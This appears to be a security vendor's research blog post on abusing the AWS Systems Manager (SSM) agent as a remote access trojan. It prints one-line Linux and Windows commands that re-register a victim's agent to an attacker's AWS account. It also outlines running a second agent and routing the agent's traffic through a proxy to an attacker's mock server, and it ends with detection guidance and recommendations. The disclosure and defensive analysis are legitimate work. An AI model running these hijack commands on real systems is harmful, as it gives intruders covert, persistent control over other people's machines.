Imagine that you’re a SOC (Security Operations Center) analyst receiving an alert about suspicious behavior from a binary on an EC2 instance. After checking the binary on VirusTotal, you find it was an AWS-developed software signed by Amazon. Further investigation reveals that it communicated only with Amazon-owned IP addresses. Now you're faced with a decision to determine your next course of action. Will you continue investigating? Or simply place the binary under an exception/allowed list?
It’s not as clear-cut a choice as it may first appear.
Uncovering a New Potential Abuse of AWS Systems Manager (SSM) Agent
This blog lays out a new potential post-exploitation technique: Abusing AWS Systems Manager (SSM) agent so that it functions as a Remote Access Trojan (RAT) on both Linux and Windows machines, while using an attacker AWS account as a Command and Control (C&C). This attack technique falls within the family of techniques that are known as “living off the land”. By exploiting the existing SSM agent already present on the system, attackers can maintain control over endpoints without the need for separate backdoors or RATs.
Below, we will:
- Describe what AWS Systems Manager and AWS SSM agent are
- Reveal the different abuses we found
- Explain why this technique is more advantageous than using any internally developed or commercial RATs (Remote Access Trojans)
- Discuss detection for this new type of attack
- Offer our response recommendations
What Is AWS Systems Manager?
If you’re a DevOps engineer grappling with the laborious task of manually patching many EC2 instances, you’ve probably looked for a quick and automated solution within AWS. AWS Systems Manager (SSM) is the AWS native tool designed to help you.
AWS Systems Manager is a comprehensive management service that enables admins to automate operational tasks and gain insights into their AWS resources. It provides a unified interface to manage and control various aspects of the AWS ecosystem, including configuration management, patching, and system monitoring.
What is the SSM Agent?
At the core of AWS Systems Manager lies the SSM agent, a software component installed on EC2 instances, on-premises servers, or virtual machines from other environments. The SSM agent acts as a communication bridge between the managed instances and the Systems Manager service, facilitating the execution of commands, gathering inventory data, and enabling remote management capabilities. It ensures secure and reliable communication while allowing administrators to streamline operational tasks across their infrastructure at scale, making it an indispensable part of efficient system management in AWS environments.
The source code for SSM Agent is available on GitHub: https://github.com/aws/amazon-ssm-agent.
The SSM agent can run on Linux, MacOS (EC2 only), and Windows Server. The full list the OSs and OS versions supported by Systems Manager can be found here: https://docs.aws.amazon.com/systems-manager/latest/userguide/operating-systems-and-machine-types.html.
To read more about how the SSM agent gets its initial credentials and connects to System Manager service can be found here: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-identity-roles.html
Which Machines Have SSM Agent Installed and Running by Default?
In AWS, the SSM agent is preinstalled on some AMIs provided by AWS. Which means that if you are launching an EC2 instance from the following AMIs, you will have SSM agent already installed and running on your EC2:
- Amazon Linux Base AMIs dated 2017.09 and later
- Amazon Linux 2
- Amazon Linux 2 ECS-Optimized Base AMIs
- Amazon Linux 2023 (AL2023)
- Amazon EKS-Optimized Amazon Linux AMIs
- macOS 10.14.x (Mojave), 10.15.x (Catalina), and 11.x (Big Sur)
- SUSE Linux Enterprise Server (SLES) 12 and 15
- Ubuntu Server 16.04, 18.04, and 20.04
- Windows Server 2008-2012 R2 AMIs published in November 2016 or later
- Windows Server 2016, 2019, and 2022
SSM agent may exist in other AMIs which are not on the list above, such as AWS Marketplace or in the Community AMIs.
(https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html).
In summary, there is a high probability that the SSM agent is already installed and may be running on your existing EC2 instances.
SSM agent’s basic processes on Windows
SSM agent’s basic processes on Linux
What is a RAT (Remote Access Trojan)?
A Remote Access Trojan (RAT) is a malicious software that enables unauthorized remote control of a device. Attackers use RATs to gain access to systems without the user's knowledge and carry out various malicious activities, such as data theft, system manipulation, and surveillance. Once installed, the attacker can remotely control the compromised device, execute commands, capture sensitive information, and more. Attackers use RATs to maintain persistent access to the compromised endpoint, flexibility in controlling the endpoint, obfuscate their actions and more.
Understanding How SSM Agent Could Be Exploited to Run as a RAT
Now that we have all the definitions, let’s take a moment to consider another scenario: a threat actor has successfully compromised the local security environment on an EC2 instance and can now use the AWS (Amazon Web Services) SSM agent for its own malicious purposes, assuming full managerial control and even running an added agent concurrently under their management. Our research uncovered this concerning scenario and more.
The concept is straightforward: when an attacker successfully gains initial execution on an endpoint that already has an installed SSM agent, rather than uploading a separate commercial or internally developed backdoor or RAT, they can exploit the existing SSM agent to control the endpoint, effectively turning it into a RAT itself. By executing commands from a separate, maliciously owned AWS account, the actions carried out by the SSM agent will remain hidden within the original AWS account, leaving no trace of the intrusion.
This approach uses the capabilities of the SSM agent already present on the system, providing the attacker with a convenient and covert means of gaining control and executing malicious activities. Our research revealed an intriguing discovery: one version of the exploit can be carried out without any interference to the connection or functionality of the established, authentic SSM agent process.
The Benefits of Using the SSM Agent as a RAT Over Other RATs
- The SSM agent binary is signed by Amazon, initially considered trusted and approved software by Antivirus (AV) and Endpoint Detection & Response (EDR) solutions. Consequently, the execution of the SSM agent as a RAT may occur without triggering immediate alarms or alerts, evading initial detection.
- Elimination of the need to upload and execute new Remote Access Trojan (RAT) binaries, which may trigger AV and EDR products. The SSM agent is already installed on the endpoint.
- Adversaries can use their own malicious AWS account as a Command and Control (C&C) server, enabling them to control the SSM agent. This allows their communication to appear legitimate, making it harder to detect their activities in most cases.
- No code needed for developing the attack infrastructure. You depend solely on the SSM service and agent.
- The SSM agent offers supported features like "RunCommand" or "StartSession," providing attackers with effortless control over the compromised endpoint from the attacker AWS account. These features allow them to manipulate the endpoint in any desired manner, granting them broad control over its operations.
- The SSM agent binary has gained substantial popularity due to its widespread installation and active use in default Amazon Machine Images (AMIs) within the AWS ecosystem. This prevalence increases the potential attack surface and provides a larger pool of potential targets for adversaries.
Exploitation
Using the SSM service for malicious purposes isn’t new. There are blogs that describe how SSM agent can be used as a backdoor or a malware like this one: https://cloudonaut.io/aws-ssm-is-a-trojan-horse-fix-it-now/ and https://frichetten.com/blog/ssm-agent-tomfoolery/
Now let’s examine ways attackers can repurpose the SSM agent to run as a RAT. This attack technique falls within the family of techniques that are known as “living off the land”. By exploiting the existing SSM agent already present on the system, attackers can keep control over endpoints without the need for separate backdoors or RATs. The implications are deeply unsettling, aren't they? Let's delve further into a couple disconcerting scenarios—showing how this potential nightmare can quickly become a tangible reality.
Scenario 1 - Hijacking the SSM Agent
In this scenario, the attack is “hijacking” the original SSM agent process by registering the SSM agent to work in “hybrid” mode with a different AWS account. We abuse the ability of an SSM agent to run not only on Amazon Elastic Compute Cloud (EC2) instances, but also on non-EC2 machine types (Servers on your own premises and Virtual machines aka VMs, including VMs in other cloud environments).
Before launching the attack on the endpoint, the attacker, within their malicious AWS account, generates a hybrid activation. Upon generation, the attacker obtains an activation code and activation ID and the region where the activation was generated. The attacker must then find some independent means by which to gain access to and root privileges on the EC2 instance subject to the attack. Then, using the values obtained for hybrid activation, the attacker can register the victim's SSM agent to their own AWS account using a single command line executed inside the compromised endpoint. Subsequently, the SSM agent will establish communication and execute commands from the attacker's AWS account.
Here is the command line to “hijack” the SSM agent on the victim endpoint.
In Linux(shell command):
sudo systemctl stop amazon-ssm-agent && echo "yes" | sudo amazon-ssm-agent -register -code <ACTIVATION_CODE> -id <ACTIVATION_ID> -region <REGION> && sudo systemctl start amazon-ssm-agent
In windows (cmd command):
'yes' | & '%programfiles%\Amazon\SSM\amazon-ssm-agent.exe' -register -code <ACTIVATION_CODE> -id <ACTIVATION_ID> -region <REGION>; Restart-Service AmazonSSMAgent
In this diagram you can see the hijack scenario on an EC2 instance, however it will also work on an on-prem machine which has SSM agent installed so long as the machine has network access over port 443 to the Systems Manager endpoint used by the agent for communication with the service (“ec2messages.[region-identifier].amazonaws.com” and/or “ssmmessages.[region-identifier].amazonaws.com”). Under the victim AWS account, there is an EC2 with an active SSM agent that is managed by Systems Manager (the green arrow). By running one command line, in Linux or Windows EC2 instance (or any machine that already has SSM agent installed), the threat actor can hijack the agent management to their account (the red narrow) and run on this EC2 via the agent anything they want. Once the attacker does that, the Victim can’t communicate with the agent from the original AWS account.
Affected Systems
Linux and Windows machines that have an active SSM agent installed and network access to the relevant Systems Manager API (Application Programming Interface) endpoints (unless controlled via a VPC Endpoint and Endpoint Policy) are susceptible to this attack.
Access Level
The threat actor must be able to run as root on the targeted Linux machine, or as administrator on the targeted Windows system.
Benefits
- Hard to detect locally – After hijacking the SSM agent, it is very difficult for any software running on the host (such as antivirus software) to detect that the SSM agent is doing something malicious in the endpoint. As it continues to run as a legitimate SSM agent.
- The SSM agent runs as root – In this scenario the SSM agent runs as root, as the original permissions the attacker have, which gives the attacker unrestricted access to all system resources.
- Persistence – The SSM agent is configured through the file system to run in hybrid mode in a persistent manner, meaning it will connect to the malicious C&C even after a reboot of the host.
Drawbacks
1. Potentially suspicious on the AWS side - After the SSM agent gets hijacked, the agent is no longer reporting back to the System Manager service as active and reachable on the victim’s AWS account. which might raise suspicion.
2. High privileges required - To register the SSM agent successfully, the attacker would need to run with root privileges, which is not easily attainable through exploit abuse.
Scenario 2 - Running Another SSM Agent Process
What if the threat actor wishes to cause minimum disruption to the working SSM agent? Also, what if the threat actor does not have root permissions on the targeted endpoint? We asked ourselves these questions, and here is our answer.
In this scenario, we also abuse the ability of an SSM agent running in hybrid mode but now the threat actor is executing an added SSM agent process which normally will not run if it finds another SSM agent process already running. The malicious agent process establishes communication with the attacker's AWS account, while the original SSM agent continues to communicate with the original AWS account. To achieve this, the initial implementation on the Linux platform utilizes Linux namespaces.
In a nutshell:
- Copy SSM agent main files to a new location.
- Create a namespace (with unshare command).
- Mount the new location to the original location.
We perform (1) and (3) because the agent expects some files in some paths, but we don’t want to mess with the original agent that already runs. The malicious SSM agent process in this implementation allows the attacker to use the “Run Command” feature via AWS CLI:
aws ssm start-session --target mi-*****************
You can find the script also in our GitHub: https://github.com/mitiga/ssm-as-rat
Another implementation for this scenario is running the agent in “container” mode. In this implementation the threat actor does not need root permissions! This mode exists for container instances (more about that here: https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
In this implementation, we introduce more SSM agent configuration modifications. Firstly, we enable the container mode flag, which is set to true. Secondly, we adjust the consumption order for the agent's identity retrieval. This change is crucial as it resolves the issue of being unable to load credentials from the ECS (Enterprise Cyber Security) metadata service, which the agent typically tries to do by default in container mode. By using this mode, we can now operate without the need for any ‘sudo’ commands.
Snipped code in identity_selector.go file from amazon-ssm-agent repository.
The malicious SSM agent process in this implementation allows the attacker to use the “Start Session” feature from the CLI. “RunCommand” module does not exist in container mode at all.
You can find the script also in our GitHub: https://github.com/mitiga/ssm-as-rat
On Windows platforms, we managed to run another SSM agent process by setting environment variables for the malicious agent process. This causes it to access a special location that has the configuration, and not to the original location. This case allows the attacker to use the “Run Command” feature.
You can find the script also in our GitHub: https://github.com/mitiga/ssm-as-rat
In this diagram you can see the side-by-side scenario. Under the victim AWS account there is an EC2 with an active SSM agent that is managed by Systems Manager (the green arrow). The threat actor can, on Linux or on Windows EC2, run another agent and manage it by their account (the red arrow) and run anything on this EC2 via the agent. Even though the attacker did that, the victim can communicate with their agent as usual.
Access Level
At least one of the following permissions is crucial for a successful attack:
The threat actor must be able run as at least non-root (but still highly) privileged user on the targeted Linux machine, or as administrator on the targeted Windows system. One way to achieve this is by using System Manager itself in the case where the attacker has privileges within the victim AWS account to use the SSM service to interact with the EC2 instances.
Benefits
- Less Permissions needed - No need for root permissions to run another agent process (in second implementation for Linux server).
- Without impact in the victim AWS account - There is no impact on the original agent.
Drawbacks
- Easier to detect on the endpoint - The malicious agent runs in a separate process tree, making it easier to distinguish its execution from that of the original agent process.
- Agent persistence - The responsibility of ensuring agent persistence lies solely with the attacker.
Using Mock Server Instead of AWS Account to Manage the SSM Agent
For several reasons, threat actor may prefer not using AWS account to manage the agents. They may prefer to generate network traffic to their chosen IP rather than AWS visibility on their C&C because concrete risk management for any campaign.
During our research, we noticed an SSM feature that can be abused to route the SSM traffic to an attacker-controlled server, allowing the usage of the legitimate binary without the traffic ever going through AWS’s servers. This feature is using proxy to the server by changing the environment variables – ‘http_proxy’ and ‘https_proxy’.
Based on that, we wrote a simple mock server for “Run Command” feature. In the agent side, we add a new malicious root certificate inside the malicious namespace’s certificate store and configure proxy by defining relevant environment variables – ‘http_proxy’ and ‘https_proxy’. In the server side, we wrote remarkably simple mock – even without register support, partially based on research that published in January 2021 (https://frichetten.com/blog/ssm-agent-tomfoolery/) and the public source code of the agent (https://github.com/aws/amazon-ssm-agent).
You can find the server code in our GitHub: https://github.com/mitiga/ssm-as-rat
Detection
In the first scenario, the hijack technique, you can monitor the instance data changing. When an agent is registered, it gets a new instance id.
The details are in a new directory, in Linux in “/var/lib/amazon/ssm/i-*****************”, and in windows in “C:\ProgramData\Amazon\SSM\InstanceData\i-*****************”. After the hijack, If you are seeing more than one directory with different instance name than the original instance id, it is suspicious. Also, monitoring bash/cmd commands or CreateProcess for running “amazon-ssm-agent" binary with the flags: “register”, “code”, “id”, and “region”. You can detect the “hijack” execution. Moreover, in the AWS account you can see the connection to this agent is lost.
For the second scenario you can detect if there is more than one process: “amazon-ssm-agent". You should have just one instance at the same time. If there are two or more – it's the time to suspect.
For both attack scenarios, if the attack is performed from the AWS account (by start session, run command, or any other technique to run code on EC2 from the AWS account) you should see suspicious actions that related to Sessions Manager in CloudTrail logs.
Recommendations
- Reconsider Allow List: If the SSM agent is on the allow list of your AV or EDR solutions, reconsider this decision. Given the potential compromise of the SSM agent, relying solely on the allow list is unreliable. It is advisable to remove the SSM binaries from the allow list. By doing so, you enable your EDR solution to thoroughly examine and analyze the behavior of these processes, actively searching for any indications of malicious activity or suspicious anomality.
- Integrate Detection Techniques: To effectively detect and respond to this malicious action, we recommend following the detection techniques mentioned earlier and integrating them into your SIEM (Security Information and Event Management) and SOAR (Security Orchestration, Automation, and Response) platforms. This integration empowers proactive threat hunting to identify instances of this malicious action.
- Using VPC Endpoint: AWS Security team offered a solution to restrict the receipt of commands from the original AWS account/organization using the VPC (Virtual Private Cloud) endpoint for Systems Manager (https://docs.aws.amazon.com/systems-manager/latest/userguide/setup-create-vpc.html). If your EC2 instances are in a private subnet without access to the public network via a public EIP address or NAT gateway, you can still configure the System Manager service through a VPC endpoint. By doing so, you can ensure that the EC2 instances only respond to commands originating from principals within their original AWS account or organization. To implement this restriction effectively, refer to the VPC Endpoint policy documentation (https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html).
Summary
In this blog, we explored the potential threat of running the AWS Systems Manager (SSM) agent as a Remote Access Trojan (RAT). We shared our research with the AWS security team and included some of their feedback to this blog. We strongly believe that threat actors will abuse this in real world attacks, if they don’t do that already. Because of that, understanding and mitigating the risks associated with its misuse is crucial to protect systems from this evolving threat.
References
- AWS Systems Manager documentation: https://aws.amazon.com/systems-manager/
- SSM Agent documentation: https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent.html
- EC2 instance identity role: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-identity-roles.html
- Supported operating systems and machine types:
